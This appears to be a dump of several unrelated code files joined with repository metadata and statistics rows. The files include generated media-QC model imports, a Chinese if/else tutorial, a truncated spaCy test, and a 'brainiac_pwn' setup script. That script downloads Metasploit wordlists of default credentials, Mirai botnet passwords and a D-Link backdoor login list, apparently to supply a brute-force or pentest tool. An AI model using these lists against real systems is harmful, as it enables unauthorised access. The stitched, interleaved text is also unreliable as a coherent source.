# coding: utf-8 # flake8: noqa """ Qc API Qc API # noqa: E501 The version of the OpenAPI document: 3.0.0 Contact: cloudsupport@telestream.net Generated by: https://openapi-generator.tech """ from __future__ import absolute_import # import models into model package from telestream_cloud_qc.models.active_format_descriptor_test import ActiveFormatDescriptorTest from telestream_cloud_qc.models.active_format_test import ActiveFormatTest from telestream_cloud_qc.models.advanced_gop_length_test import AdvancedGopLengthTest from telestream_cloud_qc.models.alert import Alert from telestream_cloud_qc.models.array_of_picture_essence_coding import ArrayOfPictureEssenceCoding from telestream_cloud_qc.models.array_of_sound_essence_coding import ArrayOfSoundEssenceCoding from telestream_cloud_qc.models.as11_rules import As11Rules from telestream_cloud_qc.models.as11_uk_dpp_metadata_test import As11UkDppMetadataTest from telestream_cloud_qc.models.as11_xprofile_test import As11XprofileTest from telestream_cloud_qc.models.audio_bit_depth_test import AudioBitDepthTest from telestream_cloud_qc.models.audio_bitrate_test import AudioBitrateTest from telestream_cloud_qc.models.audio_channel_positions_test import AudioChannelPositionsTest from telestream_cloud_qc.models.audio_channels_test import AudioChannelsTest from telestream_cloud_qc.models.audio_clipping_test import AudioClippingTest from telestream_cloud_qc.models.audio_codec_test import AudioCodecTest from telestream_cloud_qc.models.audio_codec_type import AudioCodecType from telestream_cloud_qc.models.audio_config import AudioConfig from telestream_cloud_qc.models.audio_configs import AudioConfigs from telestream_cloud_qc.models.audio_dialnorm_test import AudioDialnormTest from telestream_cloud_qc.models.audio_frequency_test import AudioFrequencyTest from telestream_cloud_qc.models.audio_length_test import AudioLengthTest from telestream_cloud_qc.models.audio_loudness_itest import AudioLoudnessItest from telestream_cloud_qc.models.audio_loudness_mtest import AudioLoudnessMtest from telestream_cloud_qc.models.audio_loudness_range_test import AudioLoudnessRangeTest from telestream_cloud_qc.models.audio_loudness_stest import AudioLoudnessStest from telestream_cloud_qc.models.audio_min_level_duration_test import AudioMinLevelDurationTest from telestream_cloud_qc.models.audio_peak_level_test import AudioPeakLevelTest from telestream_cloud_qc.models.audio_phase_test import AudioPhaseTest from telestream_cloud_qc.models.audio_ppm_level_test import AudioPpmLevelTest from telestream_cloud_qc.models.audio_sample_rate_test import AudioSampleRateTest from telestream_cloud_qc.models.audio_stream import AudioStream from telestream_cloud_qc.models.audio_tracks_test import AudioTracksTest from telestream_cloud_qc.models.audio_transient_test import AudioTransientTest from telestream_cloud_qc.models.avc_coded_content_kind_test import AvcCodedContentKindTest from telestream_cloud_qc.models.avc_content_kind import AvcContentKind from telestream_cloud_qc.models.avc_sps_pps_test import AvcSpsPpsTest from telestream_cloud_qc.models.bit_rate_mode import BitRateMode from telestream_cloud_qc.models.bit_rate_mode_test import BitRateModeTest from telestream_cloud_qc.models.black_frame_test import BlackFrameTest from telestream_cloud_qc.models.black_level_test import BlackLevelTest from telestream_cloud_qc.models.blanking_test import BlankingTest from telestream_cloud_qc.models.blockiness_test import BlockinessTest from telestream_cloud_qc.models.bool_value_test import BoolValueTest from telestream_cloud_qc.models.buffer_size_test import BufferSizeTest from telestream_cloud_qc.models.cabac_test import CabacTest from telestream_cloud_qc.models.cadence_test import CadenceTest from telestream_cloud_qc.models.cadence_type import CadenceType from telestream_cloud_qc.models.captions_test import CaptionsTest from telestream_cloud_qc.models.chan_pos import ChanPos from telestream_cloud_qc.models.chan_positions import ChanPositions from telestream_cloud_qc.models.channels import Channels from telestream_cloud_qc.models.chroma_level_test import ChromaLevelTest from telestream_cloud_qc.models.chroma_subsampling import ChromaSubsampling from telestream_cloud_qc.models.chroma_subsampling_test import ChromaSubsamplingTest from telestream_cloud_qc.models.clean_aperture_test import CleanApertureTest from telestream_cloud_qc.models.color_bar_standard_type import ColorBarStandardType from telestream_cloud_qc.models.color_range_test import ColorRangeTest from telestream_cloud_qc.models.color_siting_test import ColorSitingTest from telestream_cloud_qc.models.color_space_type import ColorSpaceType from telestream_cloud_qc.models.colour_bars_test import ColourBarsTest from telestream_cloud_qc.models.component_depth_test import ComponentDepthTest from telestream_cloud_qc.models.container import Container from telestream_cloud_qc.models.container_essence_consistency_test import ContainerEssenceConsistencyTest from telestream_cloud_qc.models.container_test import ContainerTest from telestream_cloud_qc.models.container_type import ContainerType from telestream_cloud_qc.models.corrupt_frame_test import CorruptFrameTest from telestream_cloud_qc.models.default_or_custom_type import DefaultOrCustomType from telestream_cloud_qc.models.digital_dropout_test import DigitalDropoutTest from telestream_cloud_qc.models.digital_silence_at_start_end_test import DigitalSilenceAtStartEndTest from telestream_cloud_qc.models.digital_silence_whole_track_test import DigitalSilenceWholeTrackTest from telestream_cloud_qc.models.dont_copy_av_delay_test import DontCopyAvDelayTest from telestream_cloud_qc.models.drop_frame_test import DropFrameTest from telestream_cloud_qc.models.drop_frame_type import DropFrameType from telestream_cloud_qc.models.dropout_test import DropoutTest from telestream_cloud_qc.models.embedded_xml_documents import EmbeddedXmlDocuments from telestream_cloud_qc.models.enhanced_syntax_test import EnhancedSyntaxTest from telestream_cloud_qc.models.extended_bool import ExtendedBool from telestream_cloud_qc.models.extended_bool_value_test import ExtendedBoolValueTest from telestream_cloud_qc.models.extra_audio_layout_modes import ExtraAudioLayoutModes from telestream_cloud_qc.models.field_dominance_test import FieldDominanceTest from telestream_cloud_qc.models.field_order_test import FieldOrderTest from telestream_cloud_qc.models.field_order_type import FieldOrderType from telestream_cloud_qc.models.file_bitrate_test import FileBitrateTest from telestream_cloud_qc.models.file_config import FileConfig from telestream_cloud_qc.models.file_duration_test import FileDurationTest from telestream_cloud_qc.models.file_format_specification_identification_label import FileFormatSpecificationIdentificationLabel from telestream_cloud_qc.models.flash_test import FlashTest from telestream_cloud_qc.models.force_color_space_test import ForceColorSpaceTest from telestream_cloud_qc.models.frame_aspect_ratio_test import FrameAspectRatioTest from telestream_cloud_qc.models.framerate_test import FramerateTest from telestream_cloud_qc.models.framesize_test import FramesizeTest from telestream_cloud_qc.models.freeze_frame_test import FreezeFrameTest from telestream_cloud_qc.models.gop_length_test import GopLengthTest from telestream_cloud_qc.models.gop_order import GopOrder from telestream_cloud_qc.models.gop_report import GopReport from telestream_cloud_qc.models.hdr_standard_type import HdrStandardType from telestream_cloud_qc.models.hdr_test import HdrTest from telestream_cloud_qc.models.header_byte_count_test import HeaderByteCountTest from telestream_cloud_qc.models.header_fill_test import HeaderFillTest from telestream_cloud_qc.models.i_tunes_compatibility_test import ITunesCompatibilityTest from telestream_cloud_qc.models.ignore_vbi_test import IgnoreVbiTest from telestream_cloud_qc.models.imf_conformance_test import ImfConformanceTest from telestream_cloud_qc.models.index_table_test import IndexTableTest from telestream_cloud_qc.models.inline_response200 import InlineResponse200 from telestream_cloud_qc.models.job import Job from telestream_cloud_qc.models.job_data import JobData from telestream_cloud_qc.models.jobs_collection import JobsCollection from telestream_cloud_qc.models.kag_size_test import KagSizeTest from telestream_cloud_qc.models.layout_test import LayoutTest from telestream_cloud_qc.models.layout_type import LayoutType from telestream_cloud_qc.models.letterboxing_test import LetterboxingTest from telestream_cloud_qc.models.location_test import LocationTest from telestream_cloud_qc.models.long_min_max_test import LongMinMaxTest from telestream_cloud_qc.models.long_value_test import LongValueTest from telestream_cloud_qc.models.loss_of_chroma_test import LossOfChromaTest from telestream_cloud_qc.models.loudness_mode import LoudnessMode from telestream_cloud_qc.models.low_pass_filter_type import LowPassFilterType from telestream_cloud_qc.models.mbaff_test import MbaffTest from telestream_cloud_qc.models.media import Media from telestream_cloud_qc.models.media_offline_test import MediaOfflineTest from telestream_cloud_qc.models.modify_project_body import ModifyProjectBody from telestream_cloud_qc.models.modify_vid_checker8_body import ModifyVidChecker8Body from telestream_cloud_qc.models.must_or_must_not import MustOrMustNot from telestream_cloud_qc.models.mxf_color_siting import MxfColorSiting from telestream_cloud_qc.models.mxf_field_dominance import MxfFieldDominance from telestream_cloud_qc.models.mxf_key_test import MxfKeyTest from telestream_cloud_qc.models.mxf_op_test import MxfOpTest from telestream_cloud_qc.models.mxf_test import MxfTest from telestream_cloud_qc.models.mxf_version import MxfVersion from telestream_cloud_qc.models.netflix_photon_test import NetflixPhotonTest from telestream_cloud_qc.models.nielsen_watermark_detection_test import NielsenWatermarkDetectionTest from telestream_cloud_qc.models.open_or_closed import OpenOrClosed from telestream_cloud_qc.models.operational_pattern import OperationalPattern from telestream_cloud_qc.models.operational_pattern_test import OperationalPatternTest from telestream_cloud_qc.models.optional_flag import OptionalFlag from telestream_cloud_qc.models.p_se_parameter_type import PSeParameterType from telestream_cloud_qc.models.padding_bits_test import PaddingBitsTest from telestream_cloud_qc.models.partition_status_test import PartitionStatusTest from telestream_cloud_qc.models.pic_frame_size_test import PicFrameSizeTest from telestream_cloud_qc.models.picture_essence_coding import PictureEssenceCoding from telestream_cloud_qc.models.picture_essence_coding_test import PictureEssenceCodingTest from telestream_cloud_qc.models.picture_essence_constraints import PictureEssenceConstraints from telestream_cloud_qc.models.picture_offsets_test import PictureOffsetsTest from telestream_cloud_qc.models.pixel_aspect_ratio_test import PixelAspectRatioTest from telestream_cloud_qc.models.ppm_mode import PpmMode from telestream_cloud_qc.models.project import Project from telestream_cloud_qc.models.project_body import ProjectBody from telestream_cloud_qc.models.proxy import Proxy from telestream_cloud_qc.models.ratio_or_lines_type import RatioOrLinesType from telestream_cloud_qc.models.ratio_test import RatioTest from telestream_cloud_qc.models.reference_levels_test import ReferenceLevelsTest from telestream_cloud_qc.models.require_or_disallow import RequireOrDisallow from telestream_cloud_qc.models.rgb_gamut_test import RgbGamutTest from telestream_cloud_qc.models.rip_present_test import RipPresentTest from telestream_cloud_qc.models.run_in_test import RunInTest from telestream_cloud_qc.models.sdti_timecode_continuity_test import SdtiTimecodeContinuityTest from telestream_cloud_qc.models.secs_or_frames_type import SecsOrFramesType from telestream_cloud_qc.models.sensitivity_type import SensitivityType from telestream_cloud_qc.models.sids_any_or_specific import SidsAnyOrSpecific from telestream_cloud_qc.models.signal_standard_test import SignalStandardTest from telestream_cloud_qc.models.single_color_test import SingleColorTest from telestream_cloud_qc.models.single_sample_description_test import SingleSampleDescriptionTest from telestream_cloud_qc.models.sound_essence_coding import SoundEssenceCoding from telestream_cloud_qc.models.sound_essence_coding_test import SoundEssenceCodingTest from telestream_cloud_qc.models.sps_pps_test import SpsPpsTest from telestream_cloud_qc.models.start_tc_range_method import StartTcRangeMethod from telestream_cloud_qc.models.start_timecode_test import StartTimecodeTest from telestream_cloud_qc.models.stripe_test import StripeTest from telestream_cloud_qc.models.subsampling_test import SubsamplingTest from telestream_cloud_qc.models.summary import Summary from telestream_cloud_qc.models.synchronization_event import SynchronizationEvent from telestream_cloud_qc.models.teletext_type import TeletextType from telestream_cloud_qc.models.template import Template from telestream_cloud_qc.models.text_stream_test import TextStreamTest from telestream_cloud_qc.models.time_code_source import TimeCodeSource from telestream_cloud_qc.models.timecode_continuity_test import TimecodeContinuityTest from telestream_cloud_qc.models.timecode_track_test import TimecodeTrackTest from telestream_cloud_qc.models.tone_type import ToneType from telestream_cloud_qc.models.track_id_test import TrackIdTest from telestream_cloud_qc.models.track_select_test import TrackSelectTest from telestream_cloud_qc.models.track_selector_type import TrackSelectorType from telestream_cloud_qc.models.uk_dpp_shim import UkDppShim from telestream_cloud_qc.models.use_start_timecode_test import UseStartTimecodeTest from telestream_cloud_qc.models.version_test import VersionTest from telestream_cloud_qc.models.vid_checker8_body import VidChecker8Body from telestream_cloud_qc.models.vid_checker8_job_data import VidChecker8JobData from telestream_cloud_qc.models.vidchecker8 import Vidchecker8 from telestream_cloud_qc.models.video_bit_depth_test import VideoBitDepthTest from telestream_cloud_qc.models.video_bitrate_test import VideoBitrateTest from telestream_cloud_qc.models.video_codec_test import VideoCodecTest from telestream_cloud_qc.models.video_codec_type import VideoCodecType from telestream_cloud_qc.models.video_config import VideoConfig from telestream_cloud_qc.models.video_configs import VideoConfigs from telestream_cloud_qc.models.video_descriptor_test import VideoDescriptorTest from telestream_cloud_qc.models.video_descriptor_type import VideoDescriptorType from telestream_cloud_qc.models.video_level_type import VideoLevelType from telestream_cloud_qc.models.video_line_map_test import VideoLineMapTest from telestream_cloud_qc.models.video_profile_type import VideoProfileType from telestream_cloud_qc.models.video_segment_detection_test import VideoSegmentDetectionTest from telestream_cloud_qc.models.video_stream import VideoStream from telestream_cloud_qc.models.video_sub_descriptor_test import VideoSubDescriptorTest from telestream_cloud_qc.models.video_sub_descriptor_type import VideoSubDescriptorType from telestream_cloud_qc.models.wrapping_type import WrappingType from telestream_cloud_qc.models.wrapping_type_test import WrappingTypeTest

69.22973

128

0.914503

2,071

15,369

6.394495

0.224046

0.215661

0.292683

0.323492

0.489089

0.338216

0.118327

0.026429

0

0.002347

0.057258

15,369

221

129

69.542986

0.911657

0.013989

0

1

0

1

0

true

0.004878

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

e25254b5567a788ecd7f78e430feec41f841a88b

396

py

Python

modules/dbnd/src/dbnd/errors.py

ipattarapong/dbnd

7bd65621c46c73e078eb628f994127ad4c7dbd1a

[ "Apache-2.0" ]

224

2020-01-02T10:46:37.000Z

2022-03-02T13:54:08.000Z

modules/dbnd/src/dbnd/errors.py

ipattarapong/dbnd

7bd65621c46c73e078eb628f994127ad4c7dbd1a

[ "Apache-2.0" ]

16

2020-03-11T09:37:58.000Z

2022-01-26T10:22:08.000Z

modules/dbnd/src/dbnd/errors.py

ipattarapong/dbnd

7bd65621c46c73e078eb628f994127ad4c7dbd1a

[ "Apache-2.0" ]

24

2020-03-24T13:53:50.000Z

2022-03-22T11:55:18.000Z

from dbnd._core.errors import ( DatabandBuildError, DatabandConfigError, DatabandError, DatabandRunError, DatabandRuntimeError, DatabandSystemError, TaskValidationError, ) __all__ = [ "DatabandBuildError", "DatabandConfigError", "DatabandError", "DatabandRunError", "DatabandRuntimeError", "DatabandSystemError", "TaskValidationError", ]

18.857143

31

0.707071

20

396

13.75

0.65

0.269091

0.363636

0.48

0.901818

0

0.204545

396

20

32

19.8

0.873016

0

0.313131

0

1

0

false

0

0.055556

0

0.055556

0

1

0

1

null

1

0

null

0

8

e2a1ef96e81841eac430821be3e2bfb672c7d435

1,229

py

Python

codes/day02/9.py

Youngfellows/HPyBaseCode

94d11872795d85b8c4387b650e82edcd20da0667

[ "Apache-2.0" ]

null

codes/day02/9.py

Youngfellows/HPyBaseCode

94d11872795d85b8c4387b650e82edcd20da0667

[ "Apache-2.0" ]

null

codes/day02/9.py

Youngfellows/HPyBaseCode

94d11872795d85b8c4387b650e82edcd20da0667

[ "Apache-2.0" ]

null

chepiao = 0 # 1 表示有车票 0表示没有车票 changdu = 8 # 单位为cm，表示的是刀子的长度，超过10cm禁止携带 ''' if chepiao == 1: print("可以进入候车厅，等待列车到来") print("这里尽然还有wifi，还有妹子...") if changdu<=10: print("通过安检，好紧张") print("刚刚那个安检员好漂亮....") print("可以上车...") #还可以继续嵌套if #if xxx: # print() else: print("没有通过安检") print("等待公安的处理") else: print("请先购买车票，然后在过来检票") ''' #方式2 chepiaoFlag = 0 #0表示没有通过第一道安检 1表示通过了 if chepiao == 1: print("可以进入候车厅，等待列车到来") print("这里尽然还有wifi，还有妹子...") chepiaoFlag = 1 else: print("请先购买车票，然后在过来检票") if chepiaoFlag == 1: if changdu<=10: print("通过安检，好紧张") print("刚刚那个安检员好漂亮....") print("可以上车...") #还可以继续嵌套if #if xxx: # print() else: print("没有通过安检") print("等待公安的处理") #方式3（较难理解，但是也可以完成） if chepiao == 1: print("可以进入候车厅，等待列车到来") print("这里尽然还有wifi，还有妹子...") chepiaoFlag = 1 else: print("请先购买车票，然后在过来检票") if chepiaoFlag == 1 and changdu<=10: print("通过安检，好紧张") print("刚刚那个安检员好漂亮....") print("可以上车...") #还可以继续嵌套if #if xxx: # print() elif chepiaoFlag == 1 and changdu>10: print("没有通过安检") print("等待公安的处理")

15.75641

41

0.539463

129

1,229

5.139535

0.286822

0.067873

0.084465

0.067873

0.782805

0.73454

0.66365

0

0.030963

0.29048

1,229

77

42

15.961039

0.729358

0.112286

0

0.766667

0

0.241096

0

1

0

false

0

0.533333

0

null

0

1

0

1

0

null

0

1

0

7

2c3377c1b91484b35ecda6d8038c1f82da590e4a

12,017

py

Python

setup_files.py

marioaugustorama/brainiac_pwn

daf2abefe54800682e84177762ec6869398f3090

[ "MIT" ]

2

2019-03-12T09:18:25.000Z

2021-01-03T18:10:36.000Z

setup_files.py

marioaugustorama/brainiac_pwn

daf2abefe54800682e84177762ec6869398f3090

[ "MIT" ]

null

setup_files.py

marioaugustorama/brainiac_pwn

daf2abefe54800682e84177762ec6869398f3090

[ "MIT" ]

null

# coding=utf-8 import glob import os.path import os.path from os import system as sy def wordlist(): import wget urlsMetas = [ 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/adobe_top100_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/av-update-urls.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/av_hips_executables.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/burnett_top_1024.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/burnett_top_500.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/cms400net_default_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/common_roots.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/dangerzone_a.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/dangerzone_b.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/db2_default_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/db2_default_user.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/db2_default_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/default_pass_for_services_unhash.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/default_userpass_for_services_unhash.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/default_users_for_services_unhash.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/dlink_telnet_backdoor_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/hci_oracle_passwords.csv', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/http_default_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/http_default_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/http_default_users.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/http_owa_common.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/idrac_default_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/idrac_default_user.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/ipmi_passwords.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/ipmi_users.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/joomla.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/keyboard-patterns.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/malicious_urls.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/mirai_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/mirai_user.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/mirai_user_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/multi_vendor_cctv_dvr_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/multi_vendor_cctv_dvr_users.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/namelist.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/oracle_default_hashes.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/oracle_default_passwords.csv', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/oracle_default_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/password.lst', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/piata_ssh_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/postgres_default_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/postgres_default_user.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/postgres_default_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/root_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/routers_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/rpc_names.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/rservices_from_users.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/sap_common.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/sap_default.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/sap_icm_paths.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/scada_default_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/sensitive_files.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/sensitive_files_win.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/sid.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/snmp_default_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/tftp.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/tomcat_mgr_default_pass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/tomcat_mgr_default_users.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/tomcat_mgr_default_userpass.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/unix_passwords.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/unix_users.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/vnc_passwords.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/vxworks_collide_20.txt', 'https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/vxworks_common_20.txt', ] nomes_metasploit = [ 'adobe_top100_pass.txt', 'av-update-urls.txt', 'av_hips_executables.txt', 'burnett_top_1024.txt', 'burnett_top_500.txt', 'cms400net_default_userpass.txt', 'common_roots.txt', 'dangerzone_a.txt', 'dangerzone_b.txt', 'db2_default_pass.txt', 'db2_default_user.txt', 'db2_default_userpass.txt', 'default_pass_for_services_unhash.txt', 'default_userpass_for_services_unhash.txt', 'default_users_for_services_unhash.txt', 'dlink_telnet_backdoor_userpass.txt', 'hci_oracle_passwords.csv', 'http_default_pass.txt', 'http_default_userpass.txt', 'http_default_users.txt', 'http_owa_common.txt', 'idrac_default_pass.txt', 'idrac_default_user.txt', 'ipmi_passwords.txt', 'ipmi_users.txt', 'joomla.txt', 'keyboard-patterns.txt', 'malicious_urls.txt', 'mirai_pass.txt', 'mirai_user.txt', 'mirai_user_pass.txt', 'multi_vendor_cctv_dvr_pass.txt', 'multi_vendor_cctv_dvr_users.txt', 'namelist.txt', 'oracle_default_hashes.txt', 'oracle_default_passwords.csv', 'oracle_default_userpass.txt', 'password.lst', 'piata_ssh_userpass.txt', 'postgres_default_pass.txt', 'postgres_default_user.txt', 'postgres_default_userpass.txt', 'root_userpass.txt', 'routers_userpass.txt', 'rpc_names.txt', 'rservices_from_users.txt', 'sap_common.txt', 'sap_default.txt', 'sap_icm_paths.txt', 'scada_default_userpass.txt', 'sensitive_files.txt', 'sensitive_files_win.txt', 'sid.txt', 'snmp_default_pass.txt', 'tftp.txt', 'tomcat_mgr_default_pass.txt', 'tomcat_mgr_default_users.txt', 'tomcat_mgr_default_userpass.txt', 'unix_passwords.txt', 'unix_users.txt', 'vnc_passwords.txt', 'vxworks_collide_20.txt', 'vxworks_common_20.txt', ] print("instalando wordlist[+]") for a in nomes_metasploit: pass for i in urlsMetas: wget.download(i,out="brainiac_suport_file/wordlist/metasploit") cont = glob.glob("brainiac_suport_file/wordlist/metasploit/*.*") print("") print("Número de wordlist [%s]"%len(cont)) def install_web(): print("[+]iniciando a instalacao =>[web]<=") if os.path.exists("brainiac_suport_file") == False: os.makedirs("brainiac_suport_file") else: print("[pass]=[arquivos[ok]]") if os.path.exists("brainiac_suport_file/wordlist") ==False: print("add=> brainiac_suport_file/wordlist[+]") os.makedirs("brainiac_suport_file/wordlist") else: print("[pass]=[brainiac_suport_file/wordlist[ok]]") if os.path.exists("brainiac_suport_file/wordlist/metasploit") == False: print("add=> brainiac_suport_file/wordlist/metasploit[+]") os.makedirs("brainiac_suport_file/wordlist/metasploit") else: print("[pass]=[brainiac_suport_file/wordlist/metasploit[ok]]") if os.path.exists("brainiac_suport_file/wordlist/sec_wordlist") == False: print("add brainiac_suport_file/wordlist/sec_wordlist[+]") os.makedirs("brainiac_suport_file/wordlist/sec_wordlist") else: print("[pass]=[brainiac_suport_file/wordlist/sec_word_list[ok]]") print("=> inicinado verificacao de diretorios para o donwloads dos arquivos....[+]") if os.path.isdir("brainiac_suport_file") == True: print("check 1-de-4[ok]") else: print("erro[criacao de diretorios]") exit() if os.path.isdir("brainiac_suport_file") == True: print("check 2-de-5[ok]") else: print("erro[criacao de diretorios]") exit() if os.path.isdir("brainiac_suport_file/wordlist") == True: print("check 3-de-5[ok]") else: print("erro[criacao de diretorios]") exit() if os.path.isdir("brainiac_suport_file/wordlist/metasploit") == True: print("check 4-de-5[ok]") else: print("erro[criacao de diretorios]") exit() if os.path.isdir("brainiac_suport_file/wordlist/sec_wordlist") == True: print("check 5-de-5[ok]") else: print("erro[criacao de diretorios]") exit() def main(): install_web() wordlist() main()

55.634259

135

0.723808

1,421

12,017

5.931034

0.105559

0.059801

0.186877

0.209302

0.811818

0.77907

0.751898

0.730304

0.708946

0.693996

0

0.011021

0.139219

12,017

215

136

55.893023

0.803751

0.000999

0

0.117949

0

0.323077

0.762818

0.131388

0

1

0.015385

false

0.323077

0.025641

0

0.041026

0.112821

0

null

0

1

0

1

0

null

0

1

0

11

2c47a5f2b51eb4368e33c53f863fb04ebe0377d7

116

py

Python

command_line.py

NathanKr/python-playground

03ea7f6489ab4db84c8180332a2ebf07caa9136e

[ "MIT" ]

null

command_line.py

NathanKr/python-playground

03ea7f6489ab4db84c8180332a2ebf07caa9136e

[ "MIT" ]

null

command_line.py

NathanKr/python-playground

03ea7f6489ab4db84c8180332a2ebf07caa9136e

[ "MIT" ]

null

import sys print(f'# of command line arguments : {len(sys.argv)}') print(f'#command line arguments : {sys.argv}')

19.333333

55

0.689655

18

116

4.444444

0.555556

0.15

0.5

0

0.137931

116

5

56

23.2

0.8

0

0.698276

0

1

0

true

0

0.333333

0

0.333333

0.666667

1

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

1

0

7

2c87f6a87d9327ad721732ef812aa00faa94717f

7,989

py

Python

tests/custom_tests/test_custom_segmentation.py

DeNeutoy/SciSpaCy

e4bf558a3d05cb28dba2773b6391dffa4f543fbb

[ "Apache-2.0" ]

null

tests/custom_tests/test_custom_segmentation.py

DeNeutoy/SciSpaCy

e4bf558a3d05cb28dba2773b6391dffa4f543fbb

[ "Apache-2.0" ]

null

tests/custom_tests/test_custom_segmentation.py

DeNeutoy/SciSpaCy

e4bf558a3d05cb28dba2773b6391dffa4f543fbb

[ "Apache-2.0" ]

null

import pytest TEST_CASES = [("LSTM networks, which we preview in Sec. 2, have been successfully", ["LSTM networks, which we preview in Sec. 2, have been successfully"]), ("When the tree is simply a chain, both Eqs. 2–8 and Eqs. 9–14 reduce to the standard LSTM transitions, Eqs. 1.", ["When the tree is simply a chain, both Eqs. 2–8 and Eqs. 9–14 reduce to the standard LSTM transitions, Eqs. 1."]), ("We used fluorescence time-lapse microscopy (Fig. 1D; fig. S1 and movies S1 and S2) and computational", ["We used fluorescence time-lapse microscopy (Fig. 1D; fig. S1 and movies S1 and S2) and computational"]), ("Hill functions indeed fit the data well (Fig. 3A and Table 1).", ["Hill functions indeed fit the data well (Fig. 3A and Table 1)."]), ('In order to produce sentence representations that fully capture the semantics of natural language, order-insensitive models are insufficient due to their inability to account for differences in meaning as a result of differences in word order or syntactic structure (e.g., “cats climb trees” vs. “trees climb cats”).', ['In order to produce sentence representations that fully capture the semantics of natural language, order-insensitive models are insufficient due to their inability to account for differences in meaning as a result of differences in word order or syntactic structure (e.g., “cats climb trees” vs. “trees climb cats”).']), ("There is an average exact sparsity (fraction of zeros) of the hidden layers of 83.40% on MNIST and 72.00% on CIFAR10. Figure 3 (left) provides a better understanding of the influence of sparsity.", ["There is an average exact sparsity (fraction of zeros) of the hidden layers of 83.40% on MNIST and 72.00% on CIFAR10.", "Figure 3 (left) provides a better understanding of the influence of sparsity."]), ("Sparsity has become a concept of interest, not only in computational neuroscience and machine learning but also in statistics and signal processing (Candes and Tao, 2005). It was first introduced in computational neuroscience in the context of sparse coding in the visual system (Olshausen and Field, 1997).", ["Sparsity has become a concept of 